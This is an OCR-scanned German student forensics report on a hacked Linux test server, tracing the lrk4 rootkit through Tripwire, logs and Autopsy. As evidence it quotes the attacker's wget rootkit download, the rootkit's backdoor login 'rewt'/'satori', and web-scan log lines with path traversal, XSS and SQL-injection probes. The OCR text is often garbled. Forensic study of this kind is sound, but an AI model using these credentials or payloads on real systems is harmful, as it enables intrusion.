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VU — Practical Aspects of Secur

ity

1 Grundkonfiguration

Bevor mit der eigentlichen forensischen Arbeit begonnen werden kann, sind ein paar
Grundeinstellungen zu erledigen. Bei dem VMware Player war es leider nicht mdglich wei-
tere VMware-Sitzungen hinzuzufiigen, daher wurde die TrialVersion von VMware Work-

station genommen.

Zu beginn erstellt man tber File/New/Virtual Machine ... eine neue Virtuelle Maschine an
in der man eine Live-CD oder ein ISO-File auswahlt. Als nachster Schritt erfolgt das Ein-
binden des gehackten Linux-Systems. Dies geschiet Uber [Edit virtual machine settings®.
In der darauf erscheinenden Maske wahlt man nun am untern Rand ,Add ..." aus und gibt
hier das bereits vorhandene VMware-File des Linux-Systems an. Anschlielend sollte die

Maske in etwa so aussehen wie im nachfolgenden Bild.

[#0 Helin - VMware Workstation
B Edt Yew WM Team Windows Hep

smupesgnlraains

(b Helix
Helix
Skabe: Powersd on
Guest 05: Other Lirs
Conliguration fle:  DH=k:Other Linus, wvmx
Viershn Currerk wirtual mathine For Wheas Wirkstation 5.5.1
Commands Tievirma
Hﬁ Edit wirbual mackins ssttic | Hendwane ] Options |
B Clorw this wirtua! mactine R
Dervice | Summary. [ —
il tterrory 56 R IF:‘J-Imha-cI.nM\l.rm.m
=3 Hard Disk (52510000
CL-ROM (1DE 1:0) fukto deteck Canmant 3izer FTMB  Syslemfree:  TAODGH
Foppy Using drivia & | Pl zaiomaen size ESE MB Desagment i
Nobes BB Erherret Bridged
e (L8 Controlier Presant ~ Digk: infonmation — -
Y Teeres L0 nby ot T S M e o fun datact Disk. space ic not praalooated o this vitial disk.

[ virtudl Processoes |

Wirtual dek conbents are storsd in 8 sngle He.

Advarcad_ |
Ok | Cacsl | Heb |

Nun kann man die Sitzung starten und sieht im Falle von Helix beim Starten der grafischen
Benutzeroberflache bereits die Linux-Verzeichnisse schreibgeschitzt als Link auf dem
Desktop. Nun kann mit der eigentlichen Arbeit begonnen werden.

2 Ermitteln von Rootkits
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2.1 Grober Uberblick tiber das System

In einem ersten groben Uberblick Giber das System, durch Ausfiihren von Is —la / um sich
alle Dateien von dem Rootverzeichnis anzeigen zu lassen, fallen zu Beginn 2 Files auf:
.bash_history

.hack

Ersteres ist ein History-File des Angreifers das nicht geléscht wurde und zweites stellt ein
Rootkit dar, dieses wird spater aber noch genauer erklart. Ebenso wird in den ersten mo-
menten das in dem Mail angefiihrte Intrusion Dedection System (IDS)-Tool Tripwire ange-
schaut. Mittels tripwire —check erhalt man eine Auflistung von modifizierten Programmen
seit dem letzten Systemsnapshot.

Modi fi ed:
"/ usr/sbin/sshd"

Added:
"/ usr/bin/gmke"
"/ usr/bin/ make"

Modi fi ed:
"/usr/bin/scp"
"/usr/bin/ssh-keygen"

Added:
"/var/lib/tripw re/local host.| ocal domai n.twd. bak"

Modi fi ed:
"/ etc/crontab"

“letc/rc.d/init.dl sshd"
"/ etc/passwd”
"/etc/resolv.conf"

Added:

"/ bi n/ passwd"
"/ bin/inetd"
"/ bin/cron"
"/ bi n/ chfn"
"/ bi n/ chsh"

Modi fi ed:
"/ bin/login"
"/ boot/ kernel . h"

Added:
"/root/openssh-1.2.3-2.i386.rpn
"/root/openssh-server-1.2.3-2.i386.rpnt

Renoved:
"/root/.bash_history"

Wie zu erwarten war wurde das .bash_history-File des root geléscht. Make und gmake
deuten darauf hin, dass auf dem Server ein Programm kompiliert und installiert wurde. Es
wird daher davon ausgegangen, dass es sich hierbei um ein Backdoorprogramm oder ein
Rootkit handelt.

Ebenso geht aus dem IDS-Eintrag hervor, dass wichtige Systemkomponenten hinzugefigt
oder abgeandert wurden. Da /bin/passwd sowie /bin/inetd und /bin/cron auf jedenfall auf
dem Linux-System vorhanden sein missen muss davon ausgegangen werden, dass Trip-
wire teilweise unvollstéandig eingerichtet ist. Nahere Untersuchungen sind daher notig.
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Die Veréanderung von ssh kann aufgrund eines Einspielens einer neuer Version vonstatten
gegangen sein, da im Rootverzeichnis neue rpm-Versionen von openssh anzufinden sind.

Eine Veranderung von passwd lasst vermuten, dass der Angreifer Benutzer verandert o-
der hinzugefligt hat. Eine ndhere Betrachtung zeigt, dass es von passwd 3 Versionen in
letc gibt. In der letzten Version fehlt der Eintrag flr den Benutzer phOO mit dem Homever-
zeichnis in /. Dies lasst darauf schlie3en, dass das in / gefundene .bash_history-file dem
user ph00 gehdrt.

2.2 Untersuchung des .bash_history-Files

Die  Untersuchung des Files ergibt, dass der Angreifer mittels wget
http://www.ussrback.com/UNIX/penetration/rootkits/Irk4.shad.tar.gz ein Rootkit herunterge-
laden und installiert hat. AnschlielRend hat er die zuvor in Tripwire angezeigten Files er-
setzt. Zu den Files die erstetzt wurden gehoren:

chfn

chsh

login

passwd

cron

inetd

N3N NIINS

2.3 Untersuchung des .hack-Directory

Ryconom | E@Ethernet [nl e audo [ healoix In dem .hack-DireCtory
3 ol NARKY - Ak befindet sich der Source-Code
' ' des Rootkits welches auf dem

; ol 3 Rechner installiert wurde.
Himemiffees Ebenso enthalt es auch ein
Readme-File  welches die
nahere Funktionsweise des
Toolkits ausgibt. Lrk4 ersetzt

dabei wichtige
Systemprogramme durch
eigene, die die
Grundfunktionalitat der
urspriinglichen Programme

aber nur um sogenannte
Hacks erweitern. Ein solcher
Hack ist z.B. dass Uber die modifizierte login-Datei ein jeder User mit dem PW satori ein-
loggen kann. Dies ist fiir den Angreifer wichtig, um spater jederzeit ohne groRRere Proble-
me wieder auf den gehackten Rechner zugreifen zu kénnen.

d'lod'-:clm.tbu Shes wuliesl mackins. piess Chi+G. "'..J

Da in der Log Datei auch ein download URL angegeben ist konnten die original Rootkit
Dateien mit den Dateien im gehackten System verglichen werden, wodurch bestatigt wer-
den konnte das die oben angefuhrten Dateien vollkommen ident mit jenem aus dem Root-
kit sind. Zudem ist in Login mit den fur Irk4 Ublichen Login rewt und dem Benutzerpass-
wort satori moglich und erhélt so einen Rootzugang. Uber den Einsatz von chkrootkit (von

http://www.chkrootkit.org) kdnnen ebenfalls Informationen abgerufen werden.
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http://www.juniper.net/security/auto/vulnerabilities/vuln1980.html
http://staff.washington.edu/dittrich/misc/fags/Irk4.fag

3 Zugang ermitteln

Der erste Schritt beim Ermitteln des Zugangs zu einem Rechner besteht in einem Ports-
can. Um festzustellen welche Ports nach aussen offen sind wurde von einem anderen
Rechner ein Portscan auf das Hacked_Linux durchgefuhrt mit untenstehenden Ergebnis:

PORT STATE SERVI CE
22/tcp open ssh
25/tcp open sntp
80/tcp open http
111/tcp open rpchind

Der nachste Schritt besteht nun darin fur die offenen Ports Sicherheitslicken und eventuell
auch log-Eintrage ausfindig zu machen.

3.1 Webserver

Da viele Angriffe auf ein System Uber eine Sicherheitsliicke des Webservers stattfinden ist
der erste Schritt ein Blick in die log-Dateien des Webservers. Fur den 9. Oktober 2004 las-
sen sich hier einige GET und HEAD-Anfragen feststellen. Die erste Inspektion der Web-
server Logfiles unter /var/log/httpd brachte hdchst verdachtige Eintrage in der access_log
bzw. error_log zum Vorschein:

192.168.102.131 - - [09/COct/2004:07:58: 28 +0200] "GET

| YBcReWRe¥bciReReVbcReWReVbcIRe¥Re¥bcboot . i ni HTTP/ 1.0" 404 215 "-" "-

192.168.102. 131 - - [09/Cct/2004:07:59: 17 +0200] "GET // HTTP/1.0" 200 5567 "-" "-
192.168.102. 131 - - [09/ Oct/2004: 07:59: 36 +0200] "GET /index. php?show=./mailing/adm n_mail.php
HTTP/ 1. 0" 404 203 "-" "-

192 168.102. 131 - - [09/Cct/2004:07:59:55 +0200]

/atomcboard/lndex php?location=../../.. /.. /.. .. /.. @1..[..[..1..[..1..1..]..]etc/passwd HITP/1.0"
400 - "ovow

192. 168. 102 131 - - [09/Cct/2004:08:00: 14 +0200] "GET

/ beconmmuni ty/ conmuni ty/ i ndex. php?pageur| =ht t p: // www. php net / downl oads. php HTTP/ 1. O 404 225"
192.168.102. 131 - - [09/Cct/2004:08:00: 18 +0200] "HEAD / HTTP/1.0" 200 O "-" "-

192.168.102. 131 - - [09/Cct/2004:08:00: 22 +0200] "HEAD / HTTP/1.0" 200 O "-" "-"
192.168.102. 131 - - [09/Cct/2004:08: 00: 26 +0200] "CGET /forunm nyaccount/| ogi n. asp HTTP/ 1. O\ nCont ent -

Type: application/x-ww-formurlencoded\nContent-Length: 87\nuserid=adni ni st rat or &
passwor d=+%R270r 9279 7¥8DYR27+&cooki el ogi n=cooki eI ogi n&Subm t =L" 404 219 "-" "-

192. 168. 102 131 - - [09/Cct/2004: 08: 00: 30 +0200] "GET /c32web. exe/ ChangeAdm nPassword HTTP/ 1. 0" 404
224 -t

192. 168. 102 131 - - [09/ COct/2004: 08: 02 07 +0200] "GET http://ww. conmput ec. ch HTTP/ 1. O\ nPr oxy-
Connection: Keep-Ali" 200 5567 "-" "-'

192.168.102.131 - - [09/Cct/2004:08:03: 26 +0200] "GET

/i ndex. cf n?f useacti on=cat egory. di spl ay&cat egory_I D=" HTTP/ 1.0" 404 203 "-" "-"

192.168.102. 131 - - [09/Cct/2004:08:03: 45 +0200] "GET / HTTP/1.0" 200 5567 "-" "
192.168.102.131 - - [09/Cct/2004:08:03:46 +0200] "GET ?" 200 5567 "-" "-"

192.168.102. 131 - - [09/Cct/2004:08:03:52 +0200] "POST\nContent-length:" 501 - "-" "-"
192.168.102. 131 - - [09/Cct/2004:08: 03: 56 +0200] "GET /exec/show config/cr HITP/ 1.0" 404 213 "-" "-"
192.168.102. 131 - - [09/Cct/2004: 08: 04: 58 +0200] "GET /Il aunch. asp?NFuse_Appl i cati on=>f oo</ scri pt >
HTTP/ 1. 0" 404 204 "-" "-"

192.168.102. 131 - - [09/Cct/2004: 08: 05: 02 +0200] "GET /launch.jsp?NFuse_Appl i cati on=>f oo</scri pt >
HTTP/ 1. 0" 404 204 "-" "-"

192.168.102. 131 - - [09/Cct/2004: 08: 05: 59 +0200] "GET /i ndex. php?nmod=<scri pt >f oo</scri pt> HITP/ 1. 0"
404 203 "-" "-"

192.168.102.131 - - [09/COct/2004:08: 06: 06 +0200] "GET /i ndex.php HTTP/1.0" 404 203 "-" "-
192.168.102. 131 - - [09/ Oct/2004: 08 06 10 +0200] "GET http://ww. comput ec.ch HTTP/ 1. 0\ nProxy-
Connection: Keep-Ali" 200 5567 "-" "-

192.168.102.131 - - [09/Cct/2004:08:06: 59 +0200] "GET /disk_c HTTP/1.0" 404 200 "-" "-"
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All diese Eintrage durfen aber von einem automatischen Scanner verursacht sein, haben
aber nicht zur Kompromitierung des Systems gefiihrt. Dies konnte nach eingehendem
Studium der Webserver Konfiguration festgestellt werden, da dieser nur ein paar statische
Webseiten und ein in diesem Fall nicht verwundbares cgi-bin veroéffentlicht. Somit kann der
Webserver als Eingang fur den Angreifer ausgeschlossen werden.

3.2 SSH Server

In /var/log/messages befinden sich ein paar merkwurdige Eintrage

?? sshdl...]: Did not receive ident string form ...

?? sshd[...]: Bad protocol version identification

?? sshd[...]: Disconnection: Corrupt check bytes on input ....

?? sshd[...]: Disconnecting: crc32 compensation attack: network attack detected

All diese Eintrage deuten laut Recherche auf Versuche hin Sicherheitslicken in SSH zu
finden.

Da auf dem System ein OpenSSH Server installiert ist wurde nach feststellen der
installierten Version mal nach Exploits fuir eben diese gesucht. In der Securityfocus
Datenbank findet sich dann eine ,SSH CRC-32 Compensation Attack Detector
Vulnerability” die in Frage kdme.

Hier liegt die Vermutung nahe das der Angriff Uber diese Liicke erfolgte, diverse Eintrage
in der Datei /var/log/auth.log deuten darauf hin. Der Angreifer hat aber nach Ausnitzen
der Licke wahrscheinlich eine gepatchte Version von SSH eingespielt um das System vor
neuen Angriffen zu schitzen.

http://www.securityfocus.com/bid/2347/info

http://www.securityfocus.com/bid/2347/discuss

http://www.cert.org/incident _notes/IN-2001-12.html

3.3 Benutzer

Aus der unten abgebildeten Grafik ist ersichtlich, dass root als letzter am 5. November
192.168.201.6 aus einloggte.
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£ Linux_Hacking  Player = | 0c0-20m | @@Ehernet n) 50 fudo ICl o.xl0l %]

localhost logl# lastlog
Port From

«H1HH ZRE4

plocalhost logl# _

T chemel mpuk b S wilisl mackns, piess Ch+G.

In /var/log/messages erhéalt man fur folgenden Zeitraum ebenfalls interessante Eintrage,
die sich mit den Eingaben in /.bash_history decken. So loggte der Eindringling mehrmals
zwischen root und phOO hin und her. Als Zeitrahmen kann der Zeitraum von 8. Oktober
2004 bist zum 4. November 2004 genannt werden, wobei der erste Einbruch am
12.0ktober gelang und das Rootkit ab 4. November 2004 installiert wurde.

Nach dem ersten erfolgreichen Hack wurde ein temporarer User phOO angelegt, der sein
Homedirectory im Wuzelverzeichnis / hat und ihm ein null-Passwort gegeben.
Anschliel3end wurde das System von dem eigentlichen root, der zur selben Zeit ebenfalls
per ssh eingeloggt war heruntergefahren.

. o pa
i Could not r

=t niumlock :

Obiges Bild zeigt einen Loginwechsel von root auf phOO und wieder zurtick, dabei wurde
anscheinend der NULL-Login probiert, der fehlgeschlagen ist. Auffallig ist hingegen, dass
der Angreifer jedes Mal seit dem Angriff einloggt, sobald das System hochgefahren ist. Da
der Rechner ein Testserver ist sind die Upzeiten nicht gerade lang. Zudem sind alle
Zugriffe auf den Rechner immer aus dem lokalen Netzwerk (192.168.*.*) geschehen.
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3.4 Sonstige Sicherheitsliicken

Auf Port 631 lauft eine Administrations Webseite fir den UNIX Druckerdienst CUPS. Fur
den XDMCP Server konnte eine weitere Sicherheitsliicke ausfindig bemacht werden. Fir
rpcbind wurde ebenfalls ein Integer Bufferoverflow gefunden:

Generell: http://www.palisadesys.com/~ghelmer/unixsecurity/unix_vuln.html
Apache: http://www.debian.org/security/2002/dsa-137

xdmcp: http://www.securityfocus.com/bid/1446/info

rpcbind: http://www.remoteassessment.com/?op=varchive&vulnid=12686
smtp: http://www.hideaway.net/vulnerabilities/mandrake postfix 42.html

4 Autopsy

4.1 Konfigurieren

Um noch effektivere Aussagen uber den aktuellen Vorgang machen zu kénnen, wird das
gehackte Linuxsystem noch einem Routinecheck mittels der bei weiter verbreiteten Live-
CD Security-Kits standardméaRig enthaltenem Toolkit Autopsy unterzogen.

Sollten die Partitionen noch nicht dem Live-System hinzugefiigt worden sein, so kann man
dies nachtraglich noch machen (sofern beim Start von VMware das hackedLinux
hinzugeftigt wurde).

mount —-r /dev/sdbl /mt/sdbl
mount —-r /dev/sdb6 /mt/sdb6
mount —r /dev/sdb7 / mt/sdb7

Anschliel3end kann fir jede Partition eine eigene Kopie erstellt werden

dd i f=/dev/sda of =/ abgabe4/ hackedLi nux. dd

Diese Images konnten nun Uber die Web GUI des ,Autopsy Forensic Browsers* geladen
werden und dann mit den zur Verflgung stehenden Tools untersucht werden, jedoch
reicht es unter Helix und der zu Beginn beschriebenen Methode auch aus, statt des
Images einfach die schreibgeschiitzten Partitionen als Image anzugeben. Hierbei muss
man jedoch beachten, statt der Option Disk die Option Partition zu wéhlen.

4.2 Verwendung

Sofern Autopsy richtig konfiguriert wurde kann man Uber einen Browser beginnen die
Analyse fortzusetzen.
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B HackedLinuxlocalhostvoll - Mozilla Firefox

Elle Edit Yiew Go EBEookmarks Tools Help
'\:_u -1 - [;i_%'? L\f:\.’ i [ﬁ httpilacalhost: 9995 aut opsy? mod=1 Esubmod=25¢ ase=Hackedlinus&hast=localn j @ Gao |G_
[ efense™ & Haly™ |foransics ids wiraless pen test crypto | isniffers firawalls
FILE AMALYSIS  HKEVYWORD SEARCH FILE TYPE IMAGE DETALS META DATA DaATS LN HELP CLOSE
{3 7 X
-dE |f E‘l'! NANE 5 OO D AL CHARGEDY SIIE |-__J
Hirciteey-Seck ald ..l 20041104 20041104 20041104 1024 C
183811 (MST) 191354 MST)  18:38:11 (MST)
Enter th of
Gied Gy ha yOu PRt L ard ./ 20041201 20041201 20041201 1024 ¢
e D9:20:26 (MST) 082017 MST) 08:20:26 (MST) |
14 e 7 i sbash_history enn4a.12.01 20041201 2004.12.01 45
;,'I'Gl:lt 032012 MST) 032007 MST)  09:20:26 (MST)
VW + rfr «bash_history 2004.11.04 200412481 2004 12.81 3113
== 192424 (MST)  0F 1823 (MIT)  0RTBS2 (MST)
rir .kash_logout 20001003 2004.12.01 £004.03.08 24 [
e Hase: Suarch O7:2656 (MOT) 032012 (VIST)  01:3450 (MDT)
i R i rit .bash_profile 2000.10.09 2004.12.01 200409 08 106 €
st iy S 07:2656 (MDT)  0320:17 (MST)  01:3450 (MOT) -l
names youwant o find, |4 I &
T ASCIIH (display - report) * ASCH Strings (display - report) = Export * Add Nate =
rimap
! Flle Type: data
SEARCH Deleted File Recovery hode =
B B
ALLDELETED FILES ri twefg. tet
vi twpol. et ;
ExraDimecromss, [ Urodhin x 7 fete/eipuice/iapal cxc
i :v:'sat;'tmml:r =h
vi ~root/twmailer. sh
Eripwire -m © | (o=t <{EDF This 2= sn awtonzbtsd report of possikle file inksgrity changes, gensrated by the Tripwirs
Erapwire -m © | cat <<EQ0F This 13 en subomsted report of pessible file inkegrity changes, genecsted by the Trapwire J
claax
lans =l
i | *
Dane —|J§

Autopsy bzw. das System dahinter Sleuthkit besitzt die Fahigkeit geloschte Files, bei
denen lediglich der Zeiger im Filesystem auf den Speicherblock nicht mehr existiert,
anzuzeigen. Somit ist es auch mdglich die Aktionen von Seitens des Roots aus

mitzuverfolgen. Als nette Beigabe zeigt Autopsy auch noch das Datum der Erstellung, des
letzten Zugriffes und der letzten Modifikation an.

In den Eintragen der /root/.bash_history ist leider nur schwer etwas zu entnehmen. Sehr
viele Eingaben beschéftigen sich mit Tripwire oder einer anderen Konfiguration eines
Systemdienstes. Die Auswertung der letzten Zugriffe z.B. auf verwendete RPM-Pakete
oder andere auffalligere Dateien ergab keine wirklich schlissigen Fakten, da das Datum
innerhalb von mehreren Zeilen oftmals von 4/5. November auf 12. Oktober springt und
wieder zurtick. Desweiteren ist eine klare Abtrennung welche Eingabe von dem wahren
root und welche von dem Hacker stammen schwer, da es mitunter Zeitpunkte gab, wo
anscheinend beide auf dem System arbeiteten.

5 Taterprofil

Die in diesem Punkt angefiihrten Punkte sind eher Spekulation als Tatsache, jedoch soll
das Taterprofil der Vollstandigkeit halber noch kurz erwéahnt werden.

Auffallend bei der Untesuchung war, dass alle Angriffe nur aus dem internen Netz kamen
(193.168.*.*) und der Angreifer kurz nach Systemstart bereits eingelogt hat. Desweiteren
hat der Hacker darauf geschaut seine Spuren als root zu verwischen jedoch nicht als
ph00-Benutzer. Den Sourcecode des Rootkits kann man nach wie vor im Rootverzeichnis
des Systems finden. Ebenso héatte ein wirklich erfahrener Eindringling die Log-Files veran-
dert und das fix-File von Irk4 ausgefiihrt, dass das Systemdatum der entsprechenden Da-
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teien verandert und nur Uber einen GroRRenvergleich (den tripwire ebenfalls macht) noch
nachvollzogen hatte werden kénnen.

6 Zeitlicher Ablauf

Nach den vorliegenden Daten wird davon ausgegangen, dass mit dem Exploit der User
phO0 am 12. Oktober gegen 17 Uhr 07 angelegt wurde und anschlieRend diesem ein
NULL-Passwort zugewiesen. Dieser User dient als Uberbriickung, bis ein geeignetes
Rootkit gefunden und installiert wurde. Nach dem Anlegen des Users wurde auch der
SSH-Server neu gepatched um einen neuen Exploit seitens eines anderen entgegen zu
wirken.

Am 4. November wurde dann Uber diesen Dummi-Accoun das Rootkit installiert und somit
wurde der Account nicht mehr gebraucht und konnte im Anschluss entfernt werden. Die
Eintrage hierfur befinden sich in /root/.bash_history die tUber Autopsy ausfindig gemacht
werden konnte. In dem Zeitraum zwischen dem ersten Einbruch und der Installation des
Rootkits wurde das System noch ewas inspiziert und eventuell ein paar Konfigurationen
vorgenommen (tripwire, perl,...)

Es kann davon ausgegangen werden, dass sich der Hecker eine Rechnerlandschaft
zusammen gestellt hat und eventuell fir spéatere Verwendung (ddos-Attacken oder
ahnliches) nutzen wollte.

7 Liste der verwendeten Programme

- VMWare Workstation

- Auditor Security Live CD / Helix
0 Autopsy
0 nmap
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